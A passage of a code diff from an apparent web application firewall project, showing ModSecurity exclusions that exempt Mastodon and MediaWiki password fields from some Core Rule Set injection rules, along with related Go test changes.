ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/"
|
||||
|
||||
SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
|
||||
"id:900966,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:json\.)?password$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?password$/"
|
||||
|
||||
# The web app's reports have the JSON keys forward and forward_to_domains. A
|
||||
# report forwarded to another server lists that server in forward_to_domains.
|
||||
# Their names contain .forward, a file in a home folder, so 930120 refused every
|
||||
|
||||
@@ -6,7 +6,6 @@ import (
|
||||
"net/http"
|
||||
"net/url"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||
@@ -55,6 +54,12 @@ const (
|
||||
mastodonStatus = "status="
|
||||
)
|
||||
|
||||
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "mastodon-requests.txt")
|
||||
}
|
||||
|
||||
// mastodonQueryFields sends each field that skips 930120, 932120, 932250
|
||||
// and 932260 in the query, on a path where it skips them, ending in "=".
|
||||
//
|
||||
@@ -124,6 +129,10 @@ var mastodonFormFields = []mastodonBodyField{
|
||||
{http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
|
||||
{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
|
||||
{http.MethodPost, "/settings/migration", "account_migration[acct]="},
|
||||
{http.MethodPost, mastodonSignIn, mastodonPassword},
|
||||
{http.MethodPost, mastodonAccount, mastodonPassword},
|
||||
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
|
||||
{http.MethodPost, mastodonAccount, "user[current_password]="},
|
||||
{http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
|
||||
{http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
|
||||
{http.MethodPost, "/admin/report_notes", "report_note[content]="},
|
||||
@@ -136,19 +145,6 @@ var mastodonFormFields = []mastodonBodyField{
|
||||
{http.MethodPost, mastodonRoles, "user_role[name]="},
|
||||
{http.MethodPost, mastodonTerms, "terms_of_service[text]="},
|
||||
{http.MethodPost, mastodonTerms, "terms_of_service[changelog]="},
|
||||
{http.MethodPost, mastodonSignUp, "reason="},
|
||||
}
|
||||
|
||||
// mastodonPasswordForms sends each password field in a form data body, on
|
||||
// a path where it skips the four rules and the rules that random passwords
|
||||
// set off.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var mastodonPasswordForms = []mastodonBodyField{
|
||||
{http.MethodPost, mastodonSignIn, mastodonPassword},
|
||||
{http.MethodPost, mastodonAccount, mastodonPassword},
|
||||
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
|
||||
{http.MethodPost, mastodonAccount, "user[current_password]="},
|
||||
{http.MethodPost, "/settings/migration", "account_migration[current_password]="},
|
||||
{
|
||||
http.MethodPost, "/settings/migration/redirect",
|
||||
@@ -156,14 +152,7 @@ var mastodonPasswordForms = []mastodonBodyField{
|
||||
},
|
||||
{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
|
||||
{http.MethodPost, mastodonSignUp, passwordField},
|
||||
}
|
||||
|
||||
// mastodonPasswordJSON sends the password of signing up through the API in
|
||||
// a JSON body, with %s for its value.
|
||||
//
|
||||
//nolint:gochecknoglobals // a struct cannot be a constant
|
||||
var mastodonPasswordJSON = mastodonBodyField{
|
||||
http.MethodPost, mastodonSignUp, `{"password":%s}`,
|
||||
{http.MethodPost, mastodonSignUp, "reason="},
|
||||
}
|
||||
|
||||
// mastodonJSONFields sends each field that skips the four rules in a JSON
|
||||
@@ -189,6 +178,7 @@ var mastodonJSONFields = []mastodonBodyField{
|
||||
{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
|
||||
{http.MethodPost, mastodonReports, `{"comment":%s}`},
|
||||
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
|
||||
{http.MethodPost, mastodonSignUp, `{"password":%s}`},
|
||||
{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
|
||||
{http.MethodPost, "/inbox", `{"object":{"content":%s}}`},
|
||||
{http.MethodPost, mastodonInbox, `{"object":{"contentMap":{"en":%s}}}`},
|
||||
@@ -297,46 +287,6 @@ func TestMastodonAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestMastodonPasswordsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, sent := range mastodonPasswordForms {
|
||||
t.Run(sent.target+" "+sent.field, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
r := request{sent.method, sent.target, []string{formData}}
|
||||
name := strings.TrimSuffix(sent.field, "=")
|
||||
|
||||
wantRandomPasswordsPass(t, r, name)
|
||||
wantPasswordAttacksPass(t, r, name)
|
||||
wantPasswordAttacksRefused(t, r, name)
|
||||
})
|
||||
}
|
||||
|
||||
t.Run("JSON", func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
r := request{mastodonPasswordJSON.method, mastodonPasswordJSON.target,
|
||||
[]string{jsonBody}}
|
||||
|
||||
wantRandomPasswordsPass(t, r, "password")
|
||||
wantPasswordAttacksPass(t, r, "password")
|
||||
wantPasswordAttacksRefused(t, r, "password")
|
||||
})
|
||||
}
|
||||
|
||||
func TestMastodonPasswordConfirmationPasses(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
challenge := []string{"form_challenge[current_password]"}
|
||||
|
||||
wantPasswordFieldsPass(t, []passwordFields{
|
||||
{"/auth/challenge", formData, challenge},
|
||||
{"/settings/two_factor_authentication/otp_authentication", formData, challenge},
|
||||
{"/settings/two_factor_authentication_methods/disable", formData, challenge},
|
||||
})
|
||||
}
|
||||
|
||||
func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
@@ -349,7 +299,7 @@ func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
for _, sent := range slices.Concat(mastodonFormFields, mastodonPasswordForms) {
|
||||
for _, sent := range mastodonFormFields {
|
||||
if mastodonForm(t, sent, commandInjection) < mastodonThreshold {
|
||||
t.Errorf("%v let through", sent)
|
||||
}
|
||||
@@ -360,8 +310,7 @@ func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
passwordJSON := []mastodonBodyField{mastodonPasswordJSON}
|
||||
for _, sent := range slices.Concat(mastodonJSONFields, passwordJSON) {
|
||||
for _, sent := range mastodonJSONFields {
|
||||
if mastodonJSON(t, sent, attack) < mastodonThreshold {
|
||||
t.Errorf("%v let through", sent)
|
||||
}
|
||||
@@ -381,12 +330,6 @@ func TestMastodonHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||
t.Errorf("%s refused: %d", sent, score)
|
||||
}
|
||||
}
|
||||
|
||||
for _, sent := range mastodonPasswordForms {
|
||||
if mastodonForm(t, sent, value) >= mastodonThreshold {
|
||||
t.Errorf("%v with %s refused", sent, value)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
code := url.QueryEscape(mastodonCodePost)
|
||||
|
||||
@@ -108,189 +108,6 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/"
|
||||
|
||||
# These passwords skip each rule random passwords set off, on MediaWiki's pages:
|
||||
# wpPassword: signing in and signing up
|
||||
# and on /api.php:
|
||||
# lgpassword: signing in with action=login
|
||||
# password, retype: action=clientlogin, createaccount and
|
||||
# changeauthenticationdata
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
||||
"id:900917,phase:1,pass,nolog,chain"
|
||||
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
||||
SecRule &ARGS_GET:wpPassword "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:wpPassword"
|
||||
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
|
||||
"id:900918,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:lgpassword|password|retype)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:lgpassword|password|retype)$/"
|
||||
|
||||
# Other apps use the names password and retype too, and these exclusions apply
|
||||
# in front of every app. So these two fields skip the same rules only in the
|
||||
# forms that send them. Each of these forms sends the field authAction, whose
|
||||
# value is the same in every language:
|
||||
# password, retype: authAction=change, changing the password at
|
||||
# Special:ChangeCredentials
|
||||
# retype: authAction=create, signing up at Special:CreateAccount
|
||||
# retype: authAction=login-continue, setting a new password at
|
||||
# Special:UserLogin after a reset or once the old one expired
|
||||
# A wiki in another language posts these forms to its own names for the pages,
|
||||
# such as Spezial:Benutzerkonto_anlegen on a German wiki. So the page's name
|
||||
# does not count, but its title must have a namespace, such as Special: or
|
||||
# Spezial:. The title follows /index.php/ or /wiki/ in the path, or is the title
|
||||
# of /index.php. A title on any other path does not count, so another app's
|
||||
# paths under /index.php/ keep every rule. These rules are in phase 2, because
|
||||
# the forms send authAction in the body.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/[^/:]+:" \
|
||||
"id:900919,phase:2,pass,nolog,chain"
|
||||
SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?[^/:]+:" "chain"
|
||||
SecRule &ARGS_GET:/^(?:password|retype)$/ "@eq 0" "chain"
|
||||
SecRule ARGS:authAction "@streq change" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:password|retype)$/"
|
||||
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/[^/:]+:" \
|
||||
"id:900920,phase:2,pass,nolog,chain"
|
||||
SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?[^/:]+:" "chain"
|
||||
SecRule &ARGS_GET:retype "@eq 0" "chain"
|
||||
SecRule ARGS:authAction "@rx ^(?:create|login-continue)$" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:retype,\
|
||||
